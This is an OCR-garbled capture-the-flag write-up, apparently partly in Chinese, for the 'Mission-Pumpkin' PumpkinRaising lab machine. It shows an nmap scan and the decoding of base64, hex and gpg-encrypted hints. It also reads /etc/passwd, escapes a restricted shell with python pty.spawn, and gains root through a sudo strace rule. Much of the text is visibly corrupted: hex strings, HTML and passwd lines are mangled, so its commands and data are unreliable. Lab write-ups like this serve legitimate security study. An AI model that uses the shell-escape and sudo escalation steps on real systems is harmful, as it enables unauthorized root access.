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nmap -sT -sC -sV -Pn -vv 192.168.51.146
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PumpkinRaising
Gearedup for the Pumpkin Festival?

As we have very lil' time for the Pumpkin Festival, we need to raise pumpkins at the earliest!

It's time to get in search of Pumpkin Seeds.
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:~# echo "VGhpcyBpcyBgqdXNO@IHRvIHILbWFpbmQgeW91IHRoYXQgaxXQncyBMZX 1b(AyI69m1E1pc3pr24tLIHvthtpblEgoyk— | base64 -d

This is just to remaind you that it's Level 2 of Mission-Pumpkin! ;) ~#
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Hey Jack, Robert has given me your contact. I'm sure I have the seeds that you want
Hi Mark, I'm greatful that you have the seeds

Please share the seed ID so that I can get you exact seeds

Sure, 50609 is the ID

Thank you, I have the seeds. You'll get your seeds in a couple of days

Thank you so much Mark

You're welcome
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¥ <h3>
"Let’s go get the seeds to raise healthy "
<a href="underconstruction.html”>pumpkins.</a> == %@
<fh3>
¥ {center>
<img src="imagesfuc.gif” width="800" height="600" title="lLooking for seeds? I ate them all!":>
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</he>
<h3> +++ PAGE UNDER CONSTRUCTION +++</h3>
</center>
<hd>jackolantern dot GraphicsInterchangeFormat is under images</hd>
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: 79675-06172-65206-17765
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Enter secret message
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B decorative.txt

| Qn@F5zMg4T |

decorative.txt
Open ~ “ E‘ ftmp
Fantastic!!! looking forward for your presence in pumpkin party.

Lil' Pump-Ke-Mon Pumpkin seeds ID : 86568|

REHE M ¥id: 86568

2.3 ascii



59 61 79 21 20 41 70 70 72 65 63 69 61 74 65 20 79 6f 75 72 20 70 61 74 69 65 6e 63 65 20 3a 29 ©Qa 41 6¢C 6C 20 7
4 68 69 6e 67 73 20 61 72 65 20 64 69 66 66 69 63 75 6C 74 20 62 65 66 6f 72 65 20 74 68 65 79 20 62 65 63 6f 6d
65 20 65 61 73 79 2e @a 41 63 6f 72 6e 20 50 75 6d 70 6b 69 6e 20 53 65 65 64 73 20 49 44 3a 20 39 36 34 35 34
Pa Pa 44 6f 2c 20 72 65 6d 65 6d 62 65 72 20 74 6f 20 69 6e 66 6f 72 6d 20 4a 61 63 6b 20 74 6f 20 70 6¢C 61 6e 7
4 20 61 6C 6C 20 34 20 73 65 65 64 73 20 69 6e 20 74 68 65 20 73 61 6d 65 20 6f 72 64 65 72 2e

RIBE=AFFid . 96454



RILBE - PHNERM TG, XNZRERE—NFTT, HHgpgfESRKMEE (gpg -d seed.txtgpg) , TEEE FEHME R
Y

Z4H HSEEDWATERSUNLIAGHT
seed U RIXFEH:

A\ N
. BEE A
I\ L e A
T N O N R N VAVAVAV
Jjos= <= N L B g W Jooooos ! J .-

| A |: AAVANAYYFS i __!)_‘ R sam
‘i o N =S\ S S 0 NN S < mmms NLSUTEN By,
W 9P 50°0c8 B B B Bel VRN TEW 0 =2
R L A I\ l=e A ,|" V===V
J.'a .a \.'T---Tr T R Y Fl !
I PR AN AV o= "= _o"=Bg SR i =
= A i |: - | .'." {ov'/fo) '.'. S
! Y A B A S Y S AR
S R I N'=aW= S : | \_ ==/
== N st § oee0so0
VERE F)/Pumpkin.htmlF 3275 :
<br:
<br>
<h3>Jack used to purchase seeds from the best-sellers and Morse is one among them.</h3> == %0
P <h3>.</h3>
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jack@Pumpkin:~$% cat /etc/pas
root:x:0:0:root:/root:/bin/bash
:1:1:daemon: /usr/sbin: fusr/sbin/nologin
bin:/bin:/usr/sbin/nologin
:/dev: /usr/sbin/nologin
:65534:sync:/bin:/bin/sync
Jusr/games: /usr/sbin/nologin
6:12:man:/var/cache/man: fusr/sbin/nologin
: /var/spool/lpd: /usr/sbin/no i
:8:mail:fvar/mail: /usr i
9:9:news:/var/spool/news: /usr/sbin/nologin
Juucp: fusr/sbin/nologin
:proxy:/bin:/usr/sbin/nologin
X :33:www-data: fvar/www: /usr
X:34:34:backup: /var/backups: fusr/
:38:38:Mailing List Man :/var/list: /usr/sbin/nologin
39:39:ircd:/var/run/ircd: /usr/sbin/nologin
:41:41:Gnats Bug-R System (admin):/var/lib/gnats:/usr/sbin/nologin
ent:/usr/sbin/nologin
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100:101::/var/lib/1libuuid:
01:104::/home/syslog:/bin/false
ebus:x:102:1685:: /var/run/dbus: /bin/false
¥:103:167:MySQL rver,,,:/nonexistent:/bin/fal
104:65534:: /var/run/ss Jusr/sbin/nologin
:1000:1000:Jack, ,, : /home/jack: /bin/rbash

B i Zjack ik PR —ANZ R bash, /binbash, Is, cdZi4REEEH, KINLAE E %% T python, FFE BER AL ptybiik
B—A shell

import pty
pty.spawn("/bin/bash")

Fipython -c ATFTLA T , S5RATT

X B ] L E B A sudoskR 2L

elcome to Mission-Pumpkin
o this machine a ynitored and recorded

Last login: Wed Jul 10 19:44:42 2019

jack@Pumpkin:~$
Matching Defa -1 for jack on Pumpkin:
env_r t, mail badpass, secure path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jack may run the following commands on Pumpkin:
(ALL) NOPASSWD: /usr/bin/strace

KB jack 7 %t Fstrace i 4 A sudoR,


https://gtfobins.github.io/gtfobins/strace/

jack@Pumpkin:~$ sudo strace -o /dev/null /bin/bash
root@Pumpkin:~# id

uid=0(root) gid=0(root) groups=0{root)
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